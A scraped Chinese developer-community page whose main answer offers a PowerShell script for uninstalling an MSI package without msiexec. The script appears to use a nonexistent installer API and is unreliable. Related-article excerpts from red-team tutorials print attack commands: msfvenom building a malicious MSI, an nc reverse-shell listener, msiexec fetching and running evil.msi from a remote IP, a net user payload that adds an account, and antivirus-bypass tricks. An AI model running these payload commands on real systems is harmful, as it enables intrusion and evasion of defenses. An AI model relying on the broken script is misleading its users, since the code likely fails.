首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

在不使用msiexec的情况下从命令行卸载MSI文件

在不使用 msiexec 的情况下从命令行卸载 MSI 文件,可以使用 Windows 的 PowerShell 脚本实现。以下是一个示例脚本,可以帮助您卸载 MSI 文件:

代码语言:powershell
复制
$msiId = "{YOUR-PRODUCT-CODE}"
$session = [Microsoft.Deployment.WindowsInstaller.InstallerSession]::Instance
$product = $session.Products | Where-Object { $_.ProductCode -eq $msiId }
if ($product)
{
    $product.Uninstall()
}
else
{
    Write-Host "Product not found."
}

在上面的脚本中,您需要将 {YOUR-PRODUCT-CODE} 替换为您要卸载的 MSI 文件的产品代码。产品代码是一个 GUID,它唯一地标识了您要卸载的应用程序。您可以在 MSI 文件的属性中找到产品代码,或者使用第三方工具(如 Orca 或 InstEd)查看 MSI 文件的内容并找到 ProductCode 属性。

请注意,使用 PowerShell 脚本卸载 MSI 文件需要管理员权限。因此,您需要以管理员身份运行 PowerShell 会话。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

msi简单使用

前言 Windows Installer 使用安装包,其中包含 Windows Installer 需要安装、卸载或修复产品以及运行安装程序用户界面 (UI) 信息。...扩展中可以对安装包属性进行设置,部分属性会在msi文件详细信息中体现,所以可以对属性进行一些伪造欺骗 如果选择True时,管理员权限下msiexec使用SYSTEM权限执行安装: 启动条件.../t5/InstallShield-Knowledge-Base/Common-MSI-Conditions/ta-p/3854 安装时可以使用msiexec /q /i MsiexecSetup.msi...常用操作是通过文件系统管理添加要执行文件,然后自定义操作中设置几个阶段要执行文件文件释放位置可以使用系统文件夹属性变量 打包安装 加载dll 导出函数 extern "C" __...通过命令行调用DLL中DllRegisterServer或DllUnRegisterServer # DllUnRegisterServer msiexec /z C:\windows\tmp\run.dll

1.1K30

文件落地攻击

使用时,会发现它们行为有所不同,大多数情况下,不需要文本或文本处理工具来提取特定信息,可以使用标准PowerShell对象语法直接访问数据各部分。...msiexec msiexec.exe属于系统进程,是Windows Installer一部分,用于安装Windows Installer安装包(MSI),对系统正常运行非常重要,一般在运行Microsoft...Step 2:使用python开启一个简易web服务器用于托管msi载荷 ? Step 3:攻击主机上使用nc监听端口 nc -lvp 6666 ?...Step 4:目标主机中执行以下命令实现无文件落地执行载荷 msiexec /q /i http://192.168.174.129:1234/evil.msi ?...regsvr32 Regsvr32命令用于注册COM组件,是Windows系统提供用来向系统注册控件或者卸载控件命令,以命令行方式运行,WinXP及以上系统regsvr32.exewindows

2K40

红蓝对抗之无文件落地攻击

使用时,会发现它们行为有所不同,大多数情况下,不需要文本或文本处理工具来提取特定信息,可以使用标准PowerShell对象语法直接访问数据各部分。...端成功收到反弹shell msiexec msiexec.exe属于系统进程,是Windows Installer一部分,用于安装Windows Installer安装包(MSI),对系统正常运行非常重要...,一般在运行Microsoft Update安装更新或安装部分软件时候出现,占用内存比较大,我们亦可以使用其作为无文件落地媒介,下面举例说明: Step 1:使用Msfvenom构造一个恶意msi...> evil.msi Step 2:使用python开启一个简易web服务器用于托管msi载荷 Step 3:攻击主机上使用nc监听端口 nc -lvp 6666 Step 4:目标主机中执行以下命令实现无文件落地执行载荷...,以命令行方式运行,WinXP及以上系统regsvr32.exewindows\system32文件夹下,2000系统regsvr32.exewinnt\system32文件夹下,我们可以通过该命令来实现无文件落地攻击

14110

Windows上安装社区版MongoDB

• 先决条件 • 安装社区版MongoDB • 将社区版MongoDB作为Windows服务运行 • 从命令解释器运行社区版MongoDB • 其他注意事项 以下教程为使用MongoDB安装向导Windows...如要使用令行(cmd.exe)运行 msiexec.exe进行安装,请参阅 使用msiexec.exe进行安装。 注意 如要安装其他版本MongoDB,请参阅版本文档。...Version下拉列表中,选择最新MongoDB Server 4.0版本。 c. OS下拉列表中, 应选择Windows 64位X64。 d. Package 下拉列表中,应选择MSI。...例如,从Windows资源管理器/文件资源管理器: a. 转到下载MongoDB安装程序(.msi文件目录。默认情况下,这是您Downloads目录。 b. 双击该.msi文件。...将MongoDB二进制文件添加到系统 本教程中所有命令行示例提供都是MongoDB二进制文件绝对路径。

2.8K40

Linux中破坏磁盘情况下使用dd命令

cbs,不足部分用空格填充 lcase:把大写字符转换为小写字符 ucase:把小写字符转换为大写字符 swab:交换输入每对字节 noerror:出错时不停止 notrunc:截短输出文件 sync...当然,可以使用tar甚至scp来复制整个文件系统,办法就是从一台计算机复制文件,然后将它们原封不动地粘贴到另一台计算机上新安装Linux。...你已插入了空驱动器(理想情况下容量与/dev/sda系统一样大)。...本文中,if=对应你想要恢复镜像,of=对应你想要写入镜像目标驱动器: # dd if=sdadisk.img of=/dev/sdb 还可以一个命令中同时执行创建操作和复制操作。...他曾告诉我,他监管每个大使馆都配有政府发放一把锤子。为什么?万一大使馆遇到什么危险,可以使用这把锤子砸烂所有硬盘。 那为什么不删除数据呢?你不是开玩笑吧?

7.4K42

Windows文件下载执行15种姿势

4、wget Windows环境下,可上传免安装可执行程序wget.exe到目标机器,使用wget下载文件。...#复制远程文件到本地主机 copy \\192.168.28.128\c$\2.txt D:\test 6、FTP 一般情况下攻击者使用FTP上传文件需要很多交互步骤,下面这个 bash脚本,考虑到了交互情况...9、msiexec msiexec 支持远程下载功能,将msi文件上传到服务器,通过如下命令远程执行: #生成msi包 msfvenom -p windows/exec CMD='net user test.../add' -f msi > evil.msi #远程执行 msiexec /q /i http://192.168.28.128/evil.msi 成功添加了一个test用户: ?...13、regsvr32 Regsvr32命令用于注册COM组件,是Windows系统提供用来向系统注册控件或者卸载控件命令,以命令行方式运行 目标机上执行: regsvr32.exe /u /n

3.5K11

Visual Studio Installer打包安装项目VS2015

Visual Studio Installer打包安装项目VS2015 使用VS2015Visual Studio Installer打包安装项目,虽然整体操作很简单,但还是有几个特殊点需要记一下,...第四步,添加卸载程序 既然有安装就有卸载卸载程序其实是一个Windows操作系统自带程序(C:Windows\System32\Msiexec.exe),只不过是通过给它传特殊参数命令,来让它执行卸载...添加和设置卸载程序操作如下: 首先,将卸载程序放在“应用程序文件夹”目录下,右键“应用程序文件夹”,添加——文件系统盘下找到这个路径文件——C:Windows\System32\Msiexec.exe...接下来是很关键一步,设置卸载参数,告诉卸载程序该卸载哪个 首先,找到安装项目的ProductCode,安装项目的属性面板中可以看到,如下 ?...而setup.msi则可以直接运行,如果你确定条件都具备情况下

1.5K31

ASP.NET MVC 1.0 RC 那些事

Scott Gu宣布了ASP.NET MVC 1.0 RC发布, Scott Gublog上写了一篇ASP.NET MVC 1.0 Release Candidate Now Available,...中文介绍可见InfoQ《Visual Studio 2008文本模板转换工具箱》 … 如果你已经安装beta,必须先卸载Beta版,如果你还用到MVC Feature部分请到codeplex...发行说明中有详细从beta升级到rc详细清单,是升级必读文件。...如果我想保留ASP.NET MVC 1.0 beta,想直接使用asp.net mvc 1.0 rc二进制版本,可以通过命令行提取MSI文件内容,命令如下: msiexec /a AspNetMVCRC-setup.msi...等待几秒钟后就可以C:\Program Files\Microsoft ASP.NET\ASP.NET MVC RC 目录下获取到二进制版本,而不会影响到你Visual Studio模板 和GAC

63390

渗透技巧——从Admin权限切换到System权限

0x00 前言 渗透测试中,某些情况下需要用到system权限,例如操作注册表HKEY_LOCAL_MACHINE\SAM\SAM 恰巧最近看到了一篇文章介绍了几种获得system权限方法,于是决定结合自己经验对这方面的技巧做系统整理...binPath= "cmd /c start" type= own type= interact sc start TestService1 该方法XP系统可以使用 Win7下使用时控制台提示: 警告...《渗透测试中msiexec》介绍过利用Advanced Installer制作msi文件方法,这里不再赘述 本节对XPN提到方法做复现,使用wix3制作msi文件 wix3下载地址: https:...,使用torch.exe将msigen.wixobj编译成msigen.msi文件会报错,如下图 使用light.exe能够成功生成msigen.msi,如下图 虽然报错,但不影响文件生成和功能执行...也就是说,完整编译命令如下: 直接双击执行msigen.msi会弹框,启动calc.exe为system权限 命令行下执行: msiexec /q /i msigen.msi 启动calc.exe

1.7K70

绕过360进行Word文档钓鱼

Doc文件可以完美弹出计算器,但是在有360情况下,纳尼??...安装完Wix工具后执行下列前两条命令,会在同目录下生成一个calc.msi文件,最后一条命令表示远程下载并利用msiexec运行calc.msi文件。.../q /i http://192.168.10.18/calc.msi 注意:Cmd需要以管理员身份运行,利用模板文件默认打开电脑计算器,若要执行其他命令请自行修改模板文件第15行 0x03   下面使用...这里说一下,经过我测试发现,直接利用RTF脚本运行命令,360存在情况下一定会弹窗,但通过msi安装文件却不会,其次RTF脚本 -c 参数有109字节数限制。...其实还有很多其他利用方法,比如利用msiexec直接下载并运行msfvenom制作msi木马文件,可以直接获得meterpreter会话。但是,需要提前对msi木马文件进行免杀处理。 ? ?

2.6K50

红队技巧-白加黑

第三步生成启动项目文件 msbuild.exe Micropoor.xml 2.2 白名单Installutil.exe Installer工具是一个命令行实用程序,允许您通过执行指定程序集中安装程序组件来安装和卸载服务器资源...一旦注册了一个类,任何COM客户端都可以像使用COM类一样使用它。安装程序集后,该类仅注册一次。程序集中实例只有实际注册后才能从COM创建。...无界面安装程序,管理员在线也无法察觉 msiexec /a Any.msi /quiet 1.生成dll文件 2.执行dll文件 msiexec /y Gamma.dll 2.7 白名单Cmstp.exe...如果不含可选参数情况下使用,则 cmstp 会使用对应于操作系统和用户权限默认设置来安装服务配置文件。...-f 令行执行: echo !

2.3K20

使用JPA原生SQL查询绑定实体情况下检索数据

然而,某些情况下,你可能希望直接使用SQL执行复杂查询,以获得更好控制和性能。本文将引导你通过使用JPA中原生SQL查询来构建和执行查询,从而从数据库中检索数据。...查询是使用我们之前构建SQL字符串来创建。...在这种情况下,结果列表将包含具有名为depot_id单个字段对象。...需要执行复杂查询且标准JPA映射结构不适用情况下,这项知识将非常有用。欢迎进一步尝试JPA原生查询,探索各种查询选项,并优化查询以获得更好性能。...这种理解将使你选择适用于Java应用程序中查询数据正确方法时能够做出明智决策。祝你编码愉快!

54730

基于Windows白名单执行Payload上线Metasploit - 渗透红队笔记

文件,它作用是执行DLL文件内部函数,功能就是以命令行方式调用动态链接程序库。...---- 基于白名单odbcconf.exe上线 ODBCCONF.exe 是一种命令行工具,可用于配置 ODBC 驱动程序和数据源名称。...之后目标靶机上运行PsExec.exe反弹shell到Kali: PsExec.exe -d -s msiexec.exe /q /i http://192.168.2.12:9000/shellcode.msi...---- 基于白名单Forfukes远程加载Payload上线 Forfiles为Windows默认安装文件操作搜索工具之一,可根据日期,后缀名,修改日期为条件。常与批处理配合使用。...如果不含可选参数情况下使用,则 cmstp 会使用对应于操作系统和用户权限默认设置来安装服务配置文件

2.3K20

常用软件打包类型及静默安装参数(nsis|msi|InstallShield|Inno)

,只需要在执行文件后加上 /q:a /r:n 参数即可 另种是 Windows 常用补丁文件,一般情况下加上 /U /N /Z 即可实现静默安装。...令行窗口中使用 -R 参数(大小写敏感)运行安装程序。 例如: Setup.exe -R 2、接着会显示常见安装界面,并且显示一些选项,例如要安装目录等。...可以使用令行选项运行wise installation.exe,以自动执行常用任务 更多参数: /c file.wse 从WISE脚本创建可执行文件 /r SetupCapture 窗口中打开WISE.../M2 调试器会话期间保留供WISE内部使用 示例: setup.exe /T 卸载WISE: /Z 删除空目录,包括其中包含不明智目录。 /A 自动模式,除了取消,没有其他用户选择。.../S 无提示模式,无用户选择自动模式 /R 回滚模式,选择卸载时回滚选 /U 类似自动模式,但给出除了自定义/自动标题窗口之外所有选项,标题可以令行

13.6K22

Visual Studio 2008 集成SP1补丁

) 三、准备安装文件夹: 1、新建工作文件夹:(eg:e盘下) e:\vs e:\vs\old e:\vs\new e:\vs\log e:\vs\sp1...) Integration.bat rem 此处改为你相应文件夹 e: cd e:\vs rem 展开原版安装文件 msiexec.exe /a %CD%\old\vs_setup.msi TARGETDIR...&pause>nul 五、收尾工作 1、用Orca软件把new\vs_setup.msi打开,File下面增加文件项 File Component_ FileName FileSize Version...说明: 本步是为了直接把VS2008变成正式版本,当然你也可以这样做,那就需要安装后再输入序列号,这个序列号是VS2008 Team Suite版本,如果你版本不是这个,要换成正确。...到此,Visual Studio 2008 SP1已经集成完毕, 最后可以使用UltraISO 或是 CDImage 生成 ISO 文件 附录: xcopy 参数说明 /E ——– 复制目录和子目录,包括空

98140
领券